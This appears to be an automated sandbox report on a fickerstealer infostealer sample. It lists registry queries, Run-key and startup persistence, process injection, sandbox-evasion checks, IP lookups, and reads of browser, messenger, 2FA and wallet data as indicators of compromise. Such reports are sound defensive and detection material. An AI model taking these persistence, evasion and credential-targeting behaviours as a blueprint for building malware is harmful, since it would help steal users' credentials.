fickerstealer | 2205e931fcca292889c4845eb2b0e961fc7b598c276b6abf71bb5cf6c59c1132

System Information Discovery

Processes:

MqCt2HGmk0XJmEHuyJvhD7Nx.exe5sKD9Rb7uUciJrYD2dM424Jf.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MqCt2HGmk0XJmEHuyJvhD7Nx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MqCt2HGmk0XJmEHuyJvhD7Nx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5sKD9Rb7uUciJrYD2dM424Jf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5sKD9Rb7uUciJrYD2dM424Jf.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

sonia_5.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation sonia_5.exe
Drops startup file 1 IoCs

Processes:

Acre.exe.com

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url Acre.exe.com

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	sonia_5.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url	Acre.exe.com

Loads dropped DLL 17 IoCs

Processes:

setup_install.exerundll32.exeWerFault.exerundll32.exe9lHNWoc85dTCYbcFmiqn4lUQ.exe63E7.exebuild2.exevirbftdvirbftd

pid	process
2884	setup_install.exe
2884	setup_install.exe
2884	setup_install.exe
2884	setup_install.exe
2884	setup_install.exe
2884	setup_install.exe
1124	rundll32.exe
656	WerFault.exe
5024	rundll32.exe
4032	9lHNWoc85dTCYbcFmiqn4lUQ.exe
4032	9lHNWoc85dTCYbcFmiqn4lUQ.exe
6060	63E7.exe
6060	63E7.exe
6640	build2.exe
6640	build2.exe
5364	virbftd
5368	virbftd

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

5852 icacls.exe
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
5852	icacls.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\MqCt2HGmk0XJmEHuyJvhD7Nx.exe	themida
behavioral8/memory/4536-332-0x00000000002B0000-0x00000000002B1000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

sonia_6.exeF56D.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	sonia_6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\b1ef1d64-1fb1-4f2e-9862-569a321f379a\\F56D.exe\" --AutoStart"	F56D.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

MqCt2HGmk0XJmEHuyJvhD7Nx.exe5sKD9Rb7uUciJrYD2dM424Jf.exeqQ36hSFzLEKopYdv9Vrga2WT.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MqCt2HGmk0XJmEHuyJvhD7Nx.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5sKD9Rb7uUciJrYD2dM424Jf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	qQ36hSFzLEKopYdv9Vrga2WT.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
160	api.2ip.ua
161	api.2ip.ua
229	api.2ip.ua
454	api.2ip.ua
455	api.2ip.ua
483	api.2ip.ua
501	api.2ip.ua
525	api.2ip.ua
13	ipinfo.io
14	ipinfo.io
16	ip-api.com
129	api.ipify.org
386	api.2ip.ua

Drops file in System32 directory 3 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 2BF76D1EA48ED6E8	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Time Trigger Task	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

MqCt2HGmk0XJmEHuyJvhD7Nx.exe5sKD9Rb7uUciJrYD2dM424Jf.exe

pid process

4848 MqCt2HGmk0XJmEHuyJvhD7Nx.exe
4536 5sKD9Rb7uUciJrYD2dM424Jf.exe

pid	process
4848	MqCt2HGmk0XJmEHuyJvhD7Nx.exe
4536	5sKD9Rb7uUciJrYD2dM424Jf.exe

Suspicious use of SetThreadContext 18 IoCs

Processes:

svchost.exexwy52H8oRj2tiyRZ82wCLSz1.exes9iRRnUnf6DYhpu5oKxjSdhA.exeShrbx35UDWNOL2MlCmMMK3Qr.exebRVaSlH4kIJ_Toq366O9V82g.exeUeEqEFNzTuqKyuYYJhBRFdV8.exeknr5nbUciwTJyPRWxXY4QGpc.exeOLKbrowser.exeF56D.exeF56D.exebuild2.exe1234.exeAcre.exe.comF56D.exeF56D.exeF56D.exeF56D.exeF56D.exe

description	pid	process	target process
PID 3700 set thread context of 4068	3700	svchost.exe	svchost.exe
PID 4948 set thread context of 2796	4948	xwy52H8oRj2tiyRZ82wCLSz1.exe	xwy52H8oRj2tiyRZ82wCLSz1.exe
PID 4856 set thread context of 1160	4856	s9iRRnUnf6DYhpu5oKxjSdhA.exe	s9iRRnUnf6DYhpu5oKxjSdhA.exe
PID 4772 set thread context of 4308	4772	Shrbx35UDWNOL2MlCmMMK3Qr.exe	Shrbx35UDWNOL2MlCmMMK3Qr.exe
PID 4684 set thread context of 4404	4684	bRVaSlH4kIJ_Toq366O9V82g.exe	bRVaSlH4kIJ_Toq366O9V82g.exe
PID 3568 set thread context of 592	3568	UeEqEFNzTuqKyuYYJhBRFdV8.exe	UeEqEFNzTuqKyuYYJhBRFdV8.exe
PID 4324 set thread context of 2560	4324	knr5nbUciwTJyPRWxXY4QGpc.exe	knr5nbUciwTJyPRWxXY4QGpc.exe
PID 4112 set thread context of 4860	4112	OLKbrowser.exe	OLKbrowser.exe
PID 2104 set thread context of 5384	2104	F56D.exe	F56D.exe
PID 5188 set thread context of 6324	5188	F56D.exe	F56D.exe
PID 6716 set thread context of 6640	6716	build2.exe	build2.exe
PID 5936 set thread context of 5028	5936	1234.exe	1234.exe
PID 2228 set thread context of 6232	2228	Acre.exe.com	RegAsm.exe
PID 4208 set thread context of 6648	4208	F56D.exe	F56D.exe
PID 6044 set thread context of 5616	6044	F56D.exe	F56D.exe
PID 5560 set thread context of 4920	5560	F56D.exe	F56D.exe
PID 4284 set thread context of 7148	4284	F56D.exe	F56D.exe
PID 4804 set thread context of 2228	4804	F56D.exe	F56D.exe

Drops file in Program Files directory 7 IoCs

Processes:

sZfLnN_RMfCNWnTotN1VyYsH.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe	sZfLnN_RMfCNWnTotN1VyYsH.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg	sZfLnN_RMfCNWnTotN1VyYsH.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg	sZfLnN_RMfCNWnTotN1VyYsH.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat	sZfLnN_RMfCNWnTotN1VyYsH.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe	sZfLnN_RMfCNWnTotN1VyYsH.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe	sZfLnN_RMfCNWnTotN1VyYsH.exe
File created	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini	sZfLnN_RMfCNWnTotN1VyYsH.exe

Drops file in Windows directory 3 IoCs

Processes:

MicrosoftEdge.exesetup 326.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\winnetdriv.exe	setup 326.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup 326.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
656	4532	WerFault.exe	c7qu6KIVv9xeg7Xlxrh52dtQ.exe
4384	4228	WerFault.exe	Chrome Update.exe
4632	4532	WerFault.exe	c7qu6KIVv9xeg7Xlxrh52dtQ.exe
4708	4532	WerFault.exe	c7qu6KIVv9xeg7Xlxrh52dtQ.exe
1816	2796	WerFault.exe	xwy52H8oRj2tiyRZ82wCLSz1.exe
4192	4532	WerFault.exe	c7qu6KIVv9xeg7Xlxrh52dtQ.exe
5096	1160	WerFault.exe	s9iRRnUnf6DYhpu5oKxjSdhA.exe
5188	4696	WerFault.exe	setup.exe
5396	4696	WerFault.exe	setup.exe
5676	4696	WerFault.exe	setup.exe
5820	4696	WerFault.exe	setup.exe
6112	4696	WerFault.exe	setup.exe
5192	4696	WerFault.exe	setup.exe
5516	4696	WerFault.exe	setup.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

virbftdWerFault.exevirbftd

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	virbftd
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	virbftd
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	virbftd
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	virbftd
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	virbftd
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	virbftd
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

63E7.exesvchost.exeknr5nbUciwTJyPRWxXY4QGpc.exe9lHNWoc85dTCYbcFmiqn4lUQ.exebuild2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	63E7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	63E7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	knr5nbUciwTJyPRWxXY4QGpc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	9lHNWoc85dTCYbcFmiqn4lUQ.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	knr5nbUciwTJyPRWxXY4QGpc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	9lHNWoc85dTCYbcFmiqn4lUQ.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

5720 timeout.exe
6576 timeout.exe
6896 timeout.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

6432 taskkill.exe
6264 taskkill.exe
4120 taskkill.exe

pid	process
5720	timeout.exe
6576	timeout.exe
6896	timeout.exe

pid	process
6432	taskkill.exe
6264	taskkill.exe
4120	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

x2_6OeVg1GK9AAxR33OxAVxT.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	x2_6OeVg1GK9AAxR33OxAVxT.exe

Modifies registry class 64 IoCs

Processes:

svchost.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
